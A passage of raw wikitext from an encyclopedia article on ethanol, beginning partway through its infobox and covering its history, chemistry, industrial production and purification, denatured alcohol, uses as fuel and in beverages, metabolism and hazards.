| 0.789 g/cm&lt;sup&gt;3&lt;/sup&gt;, liquid
|-
| [[Soluble|Solubility]] in [[Water_(molecule)|water]]
| Fully [[miscible]]
|-
&lt;!-- | Other solvents e.g. [[ethanol]], [[acetone]] --&gt;
&lt;!-- | solubility info on other solvents --&gt;
&lt;!-- |- --&gt;
| [[Melting point]]
| &amp;minus;114.3 °C (158.8 K)
|-
| [[Boiling point]]
| 78.4 °C (351.6 K)
|-
| [[Acid dissociation constant|Acidity]] (p''K''&lt;sub&gt;a&lt;/sub&gt;)
| 15.9 (H&lt;sup&gt;+&lt;/sup&gt; from OH group)
|-
| [[Viscosity]]
| 1.200 c[[Poise|P]] at 20 °C
|-
| [[Dipole#Molecular_dipoles|Dipole moment]]
| 1.69 [[Debye|D]] (gas)
|-
! {{chembox header}} | Hazards &lt;!--  Summary only- MSDS entry provides more complete information --&gt;
|-
| [[Material safety data sheet|MSDS]]
| [[{{PAGENAME}} (data page)#Material Safety Data Sheet|External MSDS]]
|-
| [[Directive 67/548/EEC|EU classification]]
| Flammable ('''F''')&lt;br/&gt;Irritant ('''Xi''')
|-
| [[NFPA 704]]
| [[Image:nfpa_h1.png]][[Image:nfpa_f3.png]][[Image:nfpa_r0.png]]
|-
| [[List of R-phrases|R-phrases]]
| {{R11}}
|-
| [[List of S-phrases|S-phrases]]
| {{S2}}, {{S7}}, {{S16}}
|-
| [[Flash point]]
| 13 °C (55.4 °F)
|-
| [[RTECS]] number
| KQ6300000
|-
! {{chembox header}} | [[{{PAGENAME}} (data page)|Supplementary data page]]
|-
| [[{{PAGENAME}} (data page)#Structure and properties|Structure &amp; properties]] 
| [[Refractive index|''n'']], [[Dielectric constant|''&amp;epsilon;&lt;sub&gt;r&lt;/sub&gt;'']], etc. 
|-
| [[{{PAGENAME}} (data page)#Thermodynamic properties|Thermodynamic data]] 
| Phase behaviour&lt;br&gt;Solid, liquid, gas
|-
| [[{{PAGENAME}} (data page)#Spectral data|Spectral data]]
| [[UV/VIS spectroscopy|UV]], [[Infrared spectroscopy|IR]], [[NMR spectroscopy|NMR]], [[Mass spectrometry|MS]]
|-
! {{chembox header}} | Related compounds
|-
| Related [[alcohol]]s
| [[Methanol]], [[1-Propanol]]
|-
| Other heteroatoms 
| [[Ethylamine]], [[Ethyl chloride]],&lt;br/&gt; [[Ethyl bromide]], [[Ethanethiol]]
|-
| Substituted ethanols
| [[Ethylene glycol]], [[Ethanolamine]],&lt;br /&gt; [[2-Chloroethanol]]
|-
| Other compounds
| [[Acetaldehyde]], [[Acetic acid]]
|-
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'''Ethanol''', also known as '''ethyl alcohol''' or [[Neutral_grain_spirit|grain alcohol]], is a flammable, colorless [[chemical compound]], one of the [[alcohol]]s that is most often found in [[alcoholic beverage]]s. In common parlance, it is often referred to simply as ''alcohol''. Its [[chemical formula]] is [[Carbon|C]]&lt;sub&gt;2&lt;/sub&gt;[[Hydrogen|H]]&lt;sub&gt;5&lt;/sub&gt;[[hydroxyl|OH]], also written as C&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;6&lt;/sub&gt;O.

This article is mostly about ethanol as a chemical compound. For beverages containing ethanol, see ''[[alcoholic beverage]]''. For the use of ethanol as a fuel, see ''[[Ethanol fuel|alcohol fuel]]''.  For its physiological effects, see ''[[effects of alcohol on the body]]''.

== History ==

Ethanol has been used by humans since prehistory as the intoxicating ingredient in [[Alcoholic beverage|alcoholic beverages]].  Dried residues on 9000-year-old pottery found in northern [[China]] imply the use of alcoholic beverages even among [[Neolithic]] peoples.{{inote|Roach (2005)}} Its isolation as a relatively pure compound was first achieved by Islamic alchemists who developed the art of [[distillation]] during the [[Abbasid caliphate]].  The writings attributed to [[Jabir Ibn Hayyan]] (Geber) (721-815) mention the flammable vapors of boiled wine.  [[Al-Kindī]] (801-873) unambiguously described the distillation of wine.{{inote|al-Hassan}}  Distillation of ethanol from water yields a product that is at most 96% ethanol, because ethanol forms an [[azeotrope]] with water.  Absolute ethanol was first obtained in 1796 by [[Johann Tobias Lowitz]], by filtering distilled ethanol through [[charcoal]].

[[Antoine Lavoisier]] described ethanol as a compound of carbon, hydrogen, and oxygen, and in 1808, [[Nicolas-Théodore de Saussure]] determined ethanol's chemical formula.{{inote|EB (1911)}}  In 1858, [[Archibald Scott Couper]] published a structural formula for ethanol: this places ethanol among the first chemical compounds to have their chemical structures determined.{{inote|Couper (1858)}}

Ethanol was first prepared synthetically in 1826, through the independent efforts of Henry Hennel in Britain and S.G. Sérullas in France. [[Michael Faraday]] prepared ethanol by the acid-catalysed hydration of [[ethylene]] in 1828, in a process similar to that used for industrial ethanol synthesis today. {{inote|Hennell (1828)}}

== Physical properties ==

Ethanol's [[hydroxyl]] group is able to participate in [[hydrogen bond]]ing.  At the molecular level, liquid ethanol consists of hydrogen-bonded pairs of ethanol molecules; this phenomenon renders ethanol more viscous and less volatile than less polar organic compounds of similar molecular weight.  In the vapor phase, there is little hydrogen bonding; ethanol vapor consists of individual ethanol molecules.

Ethanol is a versatile solvent.  It is [[miscible]] with water and with most [[organic compound|organic]] liquids, including nonpolar liquids such as [[aliphatic hydrocarbon]]s.  Organic solids of low molecular weight are usually soluble in ethanol.  Among [[ionic compound]]s, many monovalent salts are at least somewhat soluble in ethanol, with salts of large, [[polarizability|polarizable]] ions being more soluble than salts of smaller ions.  Most salts of polyvalent ions are practically insoluble in ethanol.

Several unusual phenomena are associated with mixtures of ethanol and water.  Ethanol-water mixtures have less volume than their individual components: a mixture of equal volumes ethanol and water has only 96% of the volume of equal parts ethanol and water, unmixed.  The addition of even a few percent ethanol to water sharply reduces the [[surface tension]] of water. This property partially explains the [[tears of wine]] phenomenon: when wine is swirled inside a glass, ethanol evaporates quickly from the thin film of wine on the wall of the glass.  As its ethanol content decreases, its surface tension increases, and the thin film beads up and runs down the glass in channels rather than as a smooth sheet.

== Chemistry ==

The chemistry of ethanol is largely that of its [[hydroxyl]] group.

; Acid-base chemistry

Ethanol's hydroxyl proton is very weakly acidic; it is an even weaker acid than water. Ethanol can be quantitatively converted to its [[conjugate base]], the [[ethoxide]] ion (C&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;O&lt;sup&gt;&amp;minus;&lt;/sup&gt;), by reaction with an [[alkali metal]] such as [[sodium]].  This reaction evolves [[hydrogen]] gas:

: CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;OH + [[sodium|Na]] &amp;rarr; CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;ONa + &amp;frac12; [[hydrogen|H&lt;sub&gt;2&lt;/sub&gt;]]

; Nucleophilic substitution

In [[aprotic solvent]]s, ethanol reacts with the hydrogen halides to give ethyl halides such as [[ethyl chloride]] and [[ethyl bromide]] via [[nucleophilic substitution]]:

: CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;OH + [[hydrochloric acid|HCl]] &amp;rarr; [[ethyl chloride|CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;Cl]] + [[water|H&lt;sub&gt;2&lt;/sub&gt;O]]

: CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;OH + [[Hydrobromic acid|HBr]] &amp;rarr; [[Ethyl bromide |CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;Br]] + [[water|H&lt;sub&gt;2&lt;/sub&gt;O]]

Ethyl halides can also be produced by reacting ethanol by more specialized halogenating agents, such as [[thionyl chloride]] for preparing ethyl chloride, or [[phosphorus tribromide]] for preparing ethyl bromide.

; Esterification

Under acid-catalysed conditions, ethanol reacts with [[carboxylic acid]]s to produce ethyl [[ester]]s and water:

: [[carboxylic acid|RCOOH]] + HOCH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;3&lt;/sub&gt; &amp;rarr; [[ester|RCOOCH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;3&lt;/sub&gt;]] + [[water|H&lt;sub&gt;2&lt;/sub&gt;O]]

The reverse reaction, [[hydrolysis]] of the resulting ester back to ethanol and the carboxylic acid, limits the extent of reaction, and high yields are unusual unless water can be removed from the reaction mixture as it is formed.  Esterification can also be carried out using more a reactive derivative of the carboxylic acid, such as an [[acyl chloride]] or [[acid anhydride]].

Ethanol can also form esters with inorganic acids.  [[Diethyl sulfate]] and [[triethyl phosphate]], prepared by reacting ethanol with [[sulfuric acid|sulfuric]] and [[phosphoric acid]], respectively, are both useful ethylating agents in [[organic synthesis]].  [[Ethyl nitrite]], prepared from the reaction of ethanol with [[sodium nitrite]] and [[sulfuric acid]], was formerly a widely-used [[diuretic]]. 

; Dehydration

Strong acids, such as sulfuric acid, can catalyse ethanol's dehydration to form either [[diethyl ether]] or [[ethylene]]:

: 2 CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;OH &amp;rarr; [[diethyl ether|CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;OCH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;3&lt;/sub&gt;]] + [[water|H&lt;sub&gt;2&lt;/sub&gt;O]]

: CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;OH &amp;rarr; [[ethylene|H&lt;sub&gt;2&lt;/sub&gt;C=CH&lt;sub&gt;2&lt;/sub&gt;]] + [[water|H&lt;sub&gt;2&lt;/sub&gt;O]]

Which product, diethyl ether or ethylene, predominates depends on the precise reaction conditions.

; Oxidation 

Ethanol can be oxidized to [[acetaldehyde]], and further oxidized to [[acetic acid]].  In the human body, these oxidation reactions are catalysed by [[enzyme]]s. In the laboratory, aqueous soluations of strong oxidizing agents, such as [[chromic acid]] or [[potassium permanganate]], oxidize ethanol to acetic acid, and it is difficult to stop the reaction at acetaldehyde at high yield.  Ethanol can be oxidized to acetaldehyde, without overoxidation to acetic acid, by [[pyridinium chromic chloride]].

== Production ==

[[Image:Ethanol Flasche.jpg|thumb|left|94% denatured ethanol sold in a secure bottle for household use]]

Ethanol is produced both as a [[petrochemical]], through the hydration of [[ethylene]], and biologically, by [[fermentation|fermenting]] sugars with [[yeast]].

=== Ethylene hydration ===

Ethanol for use as industrial feedstock is most often made from [[petrochemical]] feedstocks, typically by the [[acid]]-[[catalysis|catalyzed]] hydration of ethylene, represented by the [[chemical equation]]

: [[ethylene|C&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;4&lt;/sub&gt;]] + [[water|H&lt;sub&gt;2&lt;/sub&gt;O]] &amp;rarr; CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;OH

The catalyst is most commonly [[phosphoric acid]], [[adsorption|absorbed]] onto a porous support such as [[diatomaceous earth]] or [[charcoal]]; this catalyst was first used for large-scale ethanol production by the [[Shell Oil Company]] in 1947.{{inote|ECT4, p. 820}}  Solid catalysts, mostly various metal oxides, have also been mentioned in the chemical literature.

In an older process, first practised on the industrial scale in 1930 by [[Union Carbide]]{{inote|ECT4, p. 817}}, but now almost entirely obsolete, ethene was hydrated indirectly by reacting it with concentrated [[sulfuric acid]] to product [[ethyl sulfate]], which was then [[hydrolysis|hydrolysed]] to yield ethanol and regenerate the sulphuric acid:

: [[ethylene|C&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;4&lt;/sub&gt;]] + [[sulfuric acid|H&lt;sub&gt;2&lt;/sub&gt;SO&lt;sub&gt;4&lt;/sub&gt;]] &amp;rarr; [[ethyl sulfate|CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;SO&lt;sub&gt;4&lt;/sub&gt;]]

: [[ethyl sulfate|CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;SO&lt;sub&gt;4&lt;/sub&gt;]] + [[water|H&lt;sub&gt;2&lt;/sub&gt;O]] &amp;rarr; CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;OH + [[sulfuric acid|H&lt;sub&gt;2&lt;/sub&gt;SO&lt;sub&gt;4&lt;/sub&gt;]]

=== Fermentation ===

Ethanol for use in alcoholic beverages, and the vast majority of ethanol for use as fuel, is produced by fermentation: when certain species of yeast (most importantly, ''[[Saccharomyces cerevisiae]]'') [[metabolism|metabolize]] [[saccharide|sugar]] in the absence of [[oxygen]], they produce ethanol and [[carbon dioxide]].  The overall chemical reaction conducted by the yeast may be represented by the chemical equation

: [[glucose|C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;12&lt;/sub&gt;O&lt;sub&gt;6&lt;/sub&gt;]] &amp;rarr; 2 CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;OH + 2 [[carbon dioxide|CO&lt;sub&gt;2&lt;/sub&gt;]]

The process of culturing yeast under conditions to produce alcohol is referred to as [[brewing]].  Brewing can only produce relatively dilute concentrations of ethanol in water; concentrated ethanol solutions are toxic to yeast.  The most ethanol-tolerant strains of yeast can survive in up to about 20% ethanol (by volume). 
 
In order to produce ethanol from starchy materials such as [[cereal grain]]s, the starch must first be broken down into sugars.  In brewing [[beer]], this has traditionally been accomplished allowing the grain to germinate, or [[malt]].  In the process of germination, the seed produces [[enzyme]]s that can break its starches into sugars.  For fuel ethanol, this hydrolysis of starch into glucose is accomplished more rapidly by treatment with dilute sulfuric acid, [[fungus|fungal]] [[amylase]] enzymes, or some combination of the two.

At petroleum prices like those that prevailed through much of the 1990s, ethylene hydration was a decidedly more economical process than fermentation for producing purified ethanol.  Recent increases in petroleum prices, coupled with perennial uncertainty in agricultural prices, make forecasting the relative production costs of fermented versus petrochemical ethanol difficult at the present time.

=== Purification ===

The product of either ethylene hydration or brewing is an ethanol-water mixture.  For most industrial and fuel uses, the ethanol must be purified.  [[Fractional distillation]] can concentrate ethanol to 96% volume; the mixture of 96% ethanol and 4% water is an [[azeotrope]] with a boiling point of 78.2 &amp;deg;C, and cannot be further purified by distillation. Therefore, 95% ethanol in water is a fairly common solvent.

Several approaches are used to produce absolute ethanol.  The ethanol-water azeotrope can be broken by the addition of a small quantity of [[benzene]].  Benzene, ethanol, and water form a ternary azeotrope with a boiling point of 64.9 &amp;deg;C.  Since this azeotrope is more volatile than the ethanol-water azeotrope, it can be fractionally distilled out of the ethanol-water mixture, extracting essentially all of the water in the process.  The bottoms from such a distillation is anhydrous ethanol, with several [[parts per million]] residual benzene.  Benzene is toxic to humans, and [[cyclohexane]] has largely supplanted benzene in its role as the entrainer in this process.

Alternatively, a [[molecular sieve]] can be used to selectively absorb the water from the 96% ethanol solution.  Synthetic [[zeolite]] in pellet form can be used, as well as a variety of plant-derived absorbents, including [[cornmeal]], [[straw]], and [[sawdust]].  The zeolite bed can be regenerated essentially an unlimited number of times by drying it with a blast of hot carbon dioxide.  Cornmeal and other plant-derived absorbents cannot readily be regenerated, but where ethanol is made from grain, they are often available at low cost.  Absolute ethanol produced this way has no residual benzene, and can be used as fuel, or, when diluted, can even be used to fortify port and sherry in traditional winery operations.

At pressures less than atmospheric pressure, the composition of the ethanol-water azeotrope shifts to more ethanol-rich mixtures, and at pressures less than 70 [[torr]], there is no azeotrope, and it is possible to distill absolute ethanol from an ethanol-water mixture.  While vacuum distillation of ethanol is not presently economical, pressure-swing distillation is a topic of current research.  In this technique, a reduced-pressure distillation first yields an ethanol-water mixture of more than 96% ethanol. Then, fractional distillation of this mixture at atmospheric pressure distills off the 96% azeotrope, leaving anhydrous ethanol at the bottoms.

=== Prospective technologies ===

Glucose for fermentation into ethanol can also be obtained from [[cellulose]].  Until recently, however, the cost of the [[cellulase]] enzymes that could hydrolyse cellulose has been prohibitive. The [[Canada|Canadian]] firm [[Iogen]] brought the first cellulose-based ethanol plant on-stream in 2004.{{inote|Ritter (2004)}} The primary consumer thus far has been the Canadian government, which, along with the United States government (particularly the Department of Energy's National Renewable Energy Laboratory), has invested millions of dollars into assisting the commercialization of cellulosic ethanol.  Realization of this technology would turn a number of cellulose-containing agricultural byproducts, such as [[corncob]]s, [[straw]], and [[sawdust]], into renewable energy resources.

Cellulosic materials typically contain, in addition to cellulose, other [[polysaccharide]]s including [[hemicellulose]].  When hydrolysed, hemicellulose breaks down into mostly five-carbon sugars such as [[xylose]].  ''S. cerevisiae'', the yeast most commonly used for ethanol production, cannot metabolize xylose.  Other yeasts ([http://www.lub.lu.se/cgi-bin/show_diss.pl?db=global&amp;fname=tec_748.html for example]) and bacteria ([http://www.metabolicengineering.gov/me2001/2001Kompala.pdf for example]) are under investigation to metabolize xylose and so improve the ethanol yield from cellulosic material.

The [[anaerobic bacteria|anaerobic bacterium]] ''Clostridium ljungdahlii'', recently discovered in commercial chicken wastes, can produce ethanol from single-carbon sources including [[carbon monoxide]] and a mixture of hydrogen and carbon dioxide.  Use of these bacteria to produce ethanol from [[synthesis gas]] has progresed to the pilot plant stage at the [http://www.brienergy.com/ BRI Energy, LLC] facility in Fayetteville, Arkansas.  Synthesis gas is a mixture of carbon monoxide and hydrogen that can be generated from the partial combustion of either fossil fuels or biomass; the heat released by gasification can be used to co-produce electricity with ethanol in the BRI process.

== Denatured alcohol ==

''Main article: [[Denatured alcohol]]''

In most jurisdictions, the sale of ethanol, as a pure substance or in the form of alcoholic beverages, is heavily taxed.  In order to relieve non-beverage industries of this tax burden, governments specify formulations for denatured alcohol, ethanol blended with various additives to render it unfit for human consumption.  These additives, called denaturants, are generally either toxic (such as [[methanol]]) or have unpleasant tastes or odors (such as [[denatonium benzoate]]).

Specialty denatured alcohols are denatured alcohol formulations intended for a particular industrial use, containing denaturants chosen so as not to interfere with that use.  While they are not taxed, purchasers of specialty denatured alcohols must have a government-issued permit for the particular formulation they use and must comply with other regulations.

Completely denatured alcohols are formulations that can be purchased for any legal purpose, without permit, bond, or other regulatory compliance.  In the [[United States]], &quot;SD-40&quot; and &quot;SD Alcohol&quot; sometimes followed by &quot;40-B&quot; are designations that were established by the [[Bureau of Alcohol, Tobacco, and Firearms]] that use denatonium benzoate for this purpose.  It is intended that it be difficult to isolate a product fit for human consumption from completely denatured alcohol.  For example, the completely denatured alcohol formulation used in the [[United Kingdom]] contains (by volume) 89.66% ethanol, 9.46% methanol, 0.50% [[pyridine]], 0.38% [[naphtha]], and is dyed purple with [[methyl violet]].

== Use ==

[[Image:Ethanol_Car.jpg|thumb|225px|left|A car &quot;fueled by clean burning ethanol&quot; ([[New York City]], [[New York]], [[USA]]).]]

=== As a fuel ===
{{main|Ethanol fuel}}

The largest single use of ethanol is as a motor fuel and fuel additive.  The largest national fuel ethanol industries exist in [[Brazil]] and the [[United States]]. The Brazilian ethanol industry is based on [[sugarcane]]; [[as of 2004]], Brazil produces 14 billion liters annually, enough to replace about 40% of its gasoline demand.  Most new cars sold in Brazil are [[flexible-fuel vehicle]]s that can run on ethanol, gasoline, or any blend of the two.

The United States fuel ethanol industry is based largely on [[maize|corn]].  [[As of 2005]], its capacity is 15 billion liters annually, although the [[Energy Policy Act of 2005]] requires U.S. fuel ethanol production to increase to 7.5 billion gallons (28 billion liters) by 2012.  In the United States, ethanol is most commonly blended with gasoline as a blend of up to 10% ethanol, nicknamed &quot;gasohol&quot;.  This blend is widely sold throughout the U.S. [[Midwest]], which contains the nation's chief corn-growing centers.

Thailand, India, China and Japan have now launched their national gasohol policies. Thailand started blending 10% ethanol for its ULG95 in 1985; now there are more than 4000 stations serving E10. The blending of 10% ethanol into gasoline will be mandated by the end of 2006 with the import ban on MTBE. It is expected that once the production of ethanol from cassava and sugar cane- molasses can be ramped up, a higher blending ratio like E20 or E85 or even Flexible Fuel Vehicle will be introduced to Thailand.

=== Alcoholic beverages ===
{{main|Alcoholic beverage}}

Alcoholic beverages vary considerably in their ethanol content and in the foodstuffs from which they are produced.  Most alcoholic beverages can be broadly classified as [[fermented beverage]]s, beverages made by the action of yeast on sugary foodstuffs, or as [[distilled beverage]]s, beverages whose preparation involves concentrating the ethanol in fermented beverages by [[distillation]].  The ethanol content of a beverage is usually measured in terms of the volume fraction of ethanol in the beverage, expressed either as a percentage or in [[alcoholic proof]] units.

Fermented beverages can be broadly classified by the foodstuff from which they are fermented.  [[Beer]]s are made from [[cereal grain]]s or other [[starch]]y materials, [[wine]]s and [[cider]]s from [[fruit juice]]s, and [[mead]]s from [[honey]].  Cultures around the world have made fermented beverages from numerous other foodstuffs, and local and national names for various fermented beverages abound.  Fermented beverages may contain up to 15&amp;ndash;20% ethanol by volume, the upper limit being set by the yeast's tolerance for ethanol, or by the amount of sugar in the starting material.

Distilled beverages are made by distilling fermented beverages.  Broad categories of distilled beverages include [[whisky|whiskies]], distilled from fermented cereal grains; [[brandy|brandies]], distilled from fermented fruit juices, and [[rum]], distilled from fermented [[molasses]] or [[sugarcane]] juice.  [[Vodka]] and similar [[neutral grain spirits]] can be distilled from any fermented material (grain or [[potatoes]] is most common); these spirits are so thoroughly distilled that no tastes from the particular starting material remain.  Numerous other spirits and liqueurs are prepared by using distilled spirits to extract flavors from [[fruit]]s, [[herb]]s, and [[spice]]s.  A traditional example is [[gin]], an alcoholic extract of [[juniper]] berries.

In a few beverages, ethanol is concentrated by means other than distillation.  [[Applejack]] is traditionally made by [[freeze distillation]]: water is frozen out of fermented [[apple cider]], leaving a more ethanol-rich liquid behind.  [[Fortified wine]]s are prepared by adding brandy or some other distilled spirit to partially-fermented wine.  This kills the yeast and conserves some of the [[sugar]] in grape juice; such beverages are not only more ethanol-rich, but also sweeter than other wines.

=== Chemicals derived from ethanol ===

; Ethyl esters

In the presence of an acid catalyst (typically [[sulfuric acid]]) ethanol reacts with [[carboxylic acid]]s to produce ethyl [[ester]]s:

: CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;OH + [[carboxylic acid|RCOOH]] &amp;rarr; RCOOCH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;3&lt;/sub&gt; + [[water|H&lt;sub&gt;2&lt;/sub&gt;O]]

The two largest-volume ethyl esters are [[ethyl acrylate]] (from ethanol and [[acrylic acid]]) and [[ethyl acetate]] (from ethanol and [[acetic acid]]).  Ethyl acrylate is a monomer used to prepare [[acrylate polymers]] for use in [[coating]]s and [[adhesive]]s.  Ethyl acetate is a common solvent used in paints, coatings, and in the pharmaceutical industry; its most familiar application in the household is as a solvent for [[nail polish]].  A variety of other ethyl esters are used in much smaller volumes as [[artificial flavoring|artificial fruit flavorings]].

; Vinegar

[[Vinegar]] is a dilute solution of [[acetic acid]] prepared by the action of ''[[Acetobacter]]'' bacteria on ethanol solutions.  Although traditionally prepared from alcoholic beverages including [[wine]], [[apple cider]], and unhopped [[beer]], vinegar can also be made from solutions of industrial ethanol.  Vinegar made from distilled ethanol is called &quot;distilled vinegar&quot;, and is commonly used in food [[pickling]] and as a condiment.

; Ethylamines

When heated to 150&amp;ndash;220 &amp;deg;C over a [[silica]]- or [[alumina]]-supported [[nickel]] catalyst, ethanol and [[ammonia]] react to produce [[ethylamine]].  Further reaction leads to [[diethylamine]] and [[triethylamine]]:

: CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;OH + [[ammonia|NH&lt;sub&gt;3&lt;/sub&gt;]] &amp;rarr; [[ethylamine|CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;NH&lt;sub&gt;2&lt;/sub&gt;]] + [[water|H&lt;sub&gt;2&lt;/sub&gt;O]]
: CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;OH + [[ethylamine|CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;NH&lt;sub&gt;2&lt;/sub&gt;]] &amp;rarr; [[diethylamine|(CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt;NH]] + [[water|H&lt;sub&gt;2&lt;/sub&gt;O]]
: CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;OH  + [[diethylamine|(CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt;NH]] &amp;rarr; [[triethylamine|(CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;N]] + [[water|H&lt;sub&gt;2&lt;/sub&gt;O]]

The ethylamines find use in the synthesis of pharmaceuticals, agricultural chemicals, and [[surfactant]]s.

; Other chemicals

Ethanol is a versatile chemical feedstock, and in the past has been used commercially to synthesize dozens of other high-volume chemical commodities.  At the present, it has been supplanted in many applications by less costly petrochemical feedstocks.  However, in markets with abundant agricultural products, but a less developed petrochemical infrastructure, such as [[China]], [[India]], and [[Brazil]], ethanol can be used to produce chemicals that would be produced from petroleum in the West, including [[ethylene]] and [[butadiene]].

=== Other uses ===

It is easily [[soluble]] in [[water (molecule)|water]] in all proportions with a slight overall decrease in volume when the two are mixed.  Absolute ethanol and 95% ethanol  are themselves good [[solvent]]s, somewhat less polar than water and used in [[perfume]]s, [[paint]]s and [[tincture]]s. Other proportions of ethanol with water or other solvents can also be used as a solvent. Alcoholic drinks have a large variety of tastes because various flavor compounds are dissolved during [[brewing]]. When ethanol is produced as a mixing beverage it is a [[neutral grain spirit]].

Ethanol is used in medical wipes and in most common antibacterial hand sanitizer gels at a concentration of about 62%. Oddly enough, the peak of the disinfecting power occurs around 70% ethanol;  stronger and weaker solutions of ethanol have a lessened ability to disinfect. Solutions of this strength are often used in laboratories for disinfecting work surfaces.  Ethanol kills organisms by denaturing their [[protein]]s and dissolving their [[lipid]]s and is effective against most [[bacterium|bacteria]] and [[fungus|fungi]], and many [[virus]]es, but is ineffective against bacterial [[spore]]s. 

Wine with less than 16% ethanol cannot protect itself against bacteria.  Because of this, [[port wine | port]] is often fortified with ethanol to at least 18% ethanol by volume to halt fermentation for retaining sweetness and in preparation for aging, at which point it becomes possible to prevent the invasion of bacteria into the port, and to store the port for long periods of time in wooden containers that can 'breathe', thereby permitting the port to age safely without spoiling.  Because of ethanol's disinfectant property, alcoholic beverages of 18% ethanol or more by volume can be safely stored for a very long time.

== Metabolism and toxicology ==

''Main article: [[Effects of alcohol on the body]]''

In the human body, ethanol is first oxidized to [[acetaldehyde]], and then to [[acetic acid]].  The first step is catalysed by the [[enzyme]] [[alcohol dehydrogenase]], and the second by [[acetaldehyde dehydrogenase]].  Some individuals have less effective forms of one or both of these enzymes, and can experience more severe symptoms from ethanol consumption than others.  Conversely, those who have acquired ethanol [[drug tolerance|tolerance]] have a greater quantity of these enzymes, and metabolize ethanol more rapidly.
{| align=&quot;right&quot; width=&quot;250 px&quot; class=&quot;infobox&quot;
! BAC (mg/dL) !! Symptoms
|-
| 50          || Euphoria, talkativeness, relaxation
|-
| 100         || Central nervous system depression, impaired motor and sensory function, impaired cognition
|-
| &amp;gt;140     || Decreased blood flow to brain
|-
| 300         || Stupefaction, possible unconsciousness
|-
| 400         || Possible death
|-
| &amp;gt;550     || Death highly likely
|} 
{{inote | Pohorecky &amp; Brick (1988)}}
The amount of ethanol in the body is typically quanitified by [[blood alcohol content]] (BAC), the [[milligram]]s of ethanol per 100 [[milliliter]]s of blood.  The table at right summarizes the symptoms of ethanol consumption.  Small doses of ethanol generally produce euphoria and relaxation; people experiencing these symptoms tend to become talkative and less inhibited, and may exhibit poor judgment.  At higher dosages (BAC &amp;gt; 0.10), ethanol acts as a [[central nervous system]] [[depressant]], producing at progressively higher dosages, impaired sensory and motor function, slowed cognition, stupefaction, unconsciousness, and possible death.

The initial product of ethanol metabolism, acetaldehyde, is more toxic than ethanol itself. The body can quickly detoxify some acetaldehyde by reaction with [[glutathione]] and similar [[thiol]]-containing biomolecules.  When acetaldehyde is produced beyond the capacity of the body's glutathione supply to detoxify it, it accumulates in the bloodstream until further oxidized to acetic acid.  The [[headache]], [[nausea]], and [[malaise]] associated with an alcohol [[hangover]] stem from a combination of [[dehydration]] and acetaldehyde poisoning; many health conditions associated with chronic ethanol abuse, including [[liver cirrhosis]], [[alcoholism]], and some forms of [[cancer]], have been linked to acetaldehyde.{{fact}}  Some medications, including [[paracetamol]] ([[acetaminophen]]), as well as exposure to [[organochloride]]s, can deplete the body's glutathione supply, enhancing both the acute and long-term risks of even moderate ethanol consumption.

== Hazards ==

* Ethanol and mixtures with water greater than about 50% ethanol are [[flammable]] and easily ignited, although there are some [[solvent]]s and [[organic compound]]s which are even more flammable. It is possible to burn even 40% ethanol solution (such as [[hard liquor]]) with a [[gas stove]]{{fact}}.

* Ethanol has been shown to increase the growth of ''[[Acinetobacter baumannii]]'', the bacteria responsible for [[pneumonia]], [[meningitis]] and [[urinary tract infection]]s.  This finding may contradict the common misconception that drinking alcohol can kill off a budding infection. (Smith and Snyder, 2005)

== See also ==

* [[Ethanol (data page)]]
* [[Ethanol fuel|Alcohol fuel]]
* [[Alcoholic beverage]]
* [[Biodiesel]]
* [[Denatured alcohol]]
* [[1-Propanol]]
* [[Isopropyl alcohol]]
* [[Rubbing alcohol]]
* [[Corn liquor]]
* [[American Whiskey Trail]]
* [[Timeline of alcohol fuel]]
* [[List of energy topics]]

== References ==

* &quot;Alcohol.&quot; (1911). In Hugh Chisholm (Ed.) ''Encyclopædia Britannica, 11th ed.'' [http://91.1911encyclopedia.org/A/AL/ALCOHOL.htm Online reprint]
